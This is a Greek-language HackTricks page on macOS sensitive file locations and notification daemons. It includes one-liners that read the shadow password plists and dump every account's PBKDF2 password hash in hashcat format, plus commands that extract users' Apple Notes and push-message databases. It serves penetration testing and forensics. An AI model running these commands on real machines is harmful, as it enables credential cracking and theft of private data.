macOS Sensitive Locations & Interesting Daemons

Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Κωδικοί Πρόσβασης

Σκιώδεις Κωδικοί Πρόσβασης

Ο σκιώδης κωδικός πρόσβασης αποθηκεύεται μαζί με τη διαμόρφωση του χρήστη σε plists που βρίσκονται στο /var/db/dslocal/nodes/Default/users/. Το παρακάτω oneliner μπορεί να χρησιμοποιηθεί για να ανακτήσει όλες τις πληροφορίες σχετικά με τους χρήστες (συμπεριλαμβανομένων των πληροφοριών του hash):

for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done

Σενάρια όπως αυτό εδώ ή αυτό μπορούν να χρησιμοποιηθούν για να μετατρέψουν το hash σε μορφή hashcat.

Ένα εναλλακτικό one-liner το οποίο θα αδειάσει τα διαπιστευτήρια όλων των λογαριασμών πλην των υπηρεσιών σε μορφή hashcat -m 7100 (macOS PBKDF2-SHA512):

sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Σημειώσεις

Οι σημειώσεις των χρηστών μπορούν να βρεθούν στο ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite

sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables

#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done

Προτιμήσεις

Στις εφαρμογές macOS, οι προτιμήσεις βρίσκονται στο $HOME/Library/Preferences και στο iOS βρίσκονται στο /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences.

Στο macOS, το εργαλείο γραμμής εντολών defaults μπορεί να χρησιμοποιηθεί για να τροποποιήσει το αρχείο προτιμήσεων.

Το /usr/sbin/cfprefsd διεκδικεί τις υπηρεσίες XPC com.apple.cfprefsd.daemon και com.apple.cfprefsd.agent και μπορεί να κληθεί για να εκτελέσει ενέργειες όπως η τροποποίηση προτιμήσεων.

Ειδοποιήσεις Συστήματος

Ειδοποιήσεις Darwin

Το κύριο δαίμονα για τις ειδοποιήσεις είναι το /usr/sbin/notifyd. Για να λαμβάνουν ειδοποιήσεις, οι πελάτες πρέπει να εγγραφούν μέσω της θύρας Mach com.apple.system.notification_center (ελέγξτε τους με sudo lsmp -p <pid notifyd>). Το δαίμονας είναι δυνατό να προσαρμοστεί με το αρχείο /etc/notify.conf.

Τα ονόματα που χρησιμοποιούνται για τις ειδοποιήσεις είναι μοναδικές αντιστρόφως DNS σημειώσεις και όταν στέλνεται μια ειδοποίηση σε ένα από αυτά, οι πελάτες που έχουν δηλώσει ότι μπορούν να τη χειριστούν θα τη λάβουν.

Είναι δυνατό να αδειάσετε την τρέχουσα κατάσταση (και να δείτε όλα τα ονόματα) στέλνοντας το σήμα SIGUSR2 στη διαδικασία notifyd και διαβάζοντας το δημιουργημένο αρχείο: /var/run/notifyd_<pid>.status:

ps -ef | grep -i notifyd
0   376     1   0 15Mar24 ??        27:40.97 /usr/sbin/notifyd

sudo kill -USR2 376

cat /var/run/notifyd_376.status
[...]
pid: 94379   memory 5   plain 0   port 0   file 0   signal 0   event 0   common 10
memory: com.apple.system.timezone
common: com.apple.analyticsd.running
common: com.apple.CFPreferences._domainsChangedExternally
common: com.apple.security.octagon.joined-with-bottle
[...]

Κέντρο Κατανομής Ειδοποιήσεων

Το Κέντρο Κατανομής Ειδοποιήσεων του οποίου το κύριο δυαδικό είναι το /usr/sbin/distnoted, είναι ένας άλλος τρόπος για να στέλνετε ειδοποιήσεις. Εκθέτει μερικές υπηρεσίες XPC και πραγματοποιεί μερικούς ελέγχους για να προσπαθήσει να επαληθεύσει τους πελάτες.

Ειδοποιήσεις Πιέσεως Apple (APN)

Σε αυτήν την περίπτωση, οι εφαρμογές μπορούν να εγγραφούν για θέματα. Ο πελάτης θα δημιουργήσει ένα τεκμήριο επικοινωνώντας με τους διακομιστές της Apple μέσω του apsd. Στη συνέχεια, οι παροχείς θα έχουν επίσης δημιουργήσει ένα τεκμήριο και θα μπορούν να συνδεθούν με τους διακομιστές της Apple για να στείλουν μηνύματα στους πελάτες. Αυτά τα μηνύματα θα ληφθούν τοπικά από το apsd το οποίο θα μεταδώσει την ειδοποίηση στην εφαρμογή που την περιμένει.

Οι προτιμήσεις βρίσκονται στο /Library/Preferences/com.apple.apsd.plist.

Υπάρχει μια τοπική βάση δεδομένων μηνυμάτων που βρίσκεται στο macOS στο /Library/Application\ Support/ApplePushService/aps.db και στο iOS στο /var/mobile/Library/ApplePushService. Έχει 3 πίνακες: incoming_messages, outgoing_messages και channel.

sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db

Είναι επίσης δυνατό να λάβετε πληροφορίες σχετικά με τον δαίμονα και τις συνδέσεις χρησιμοποιώντας:

/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status

Ειδοποιήσεις Χρήστη

Αυτές είναι ειδοποιήσεις που ο χρήστης πρέπει να δει στην οθόνη:

  • CFUserNotification: Αυτή η API παρέχει έναν τρόπο να εμφανιστεί στην οθόνη ένα αναδυόμενο παράθυρο με ένα μήνυμα.

  • Το Πίνακας Ανακοινώσεων: Αυτό εμφανίζει στο iOS ένα banner που εξαφανίζεται και θα αποθηκευτεί στο Κέντρο Ειδοποιήσεων.

  • NSUserNotificationCenter: Αυτός είναι ο πίνακας ανακοινώσεων στο MacOS. Η βάση δεδομένων με τις ειδοποιήσεις βρίσκεται στο /var/folders/<user temp>/0/com.apple.notificationcenter/db2/db

Last updated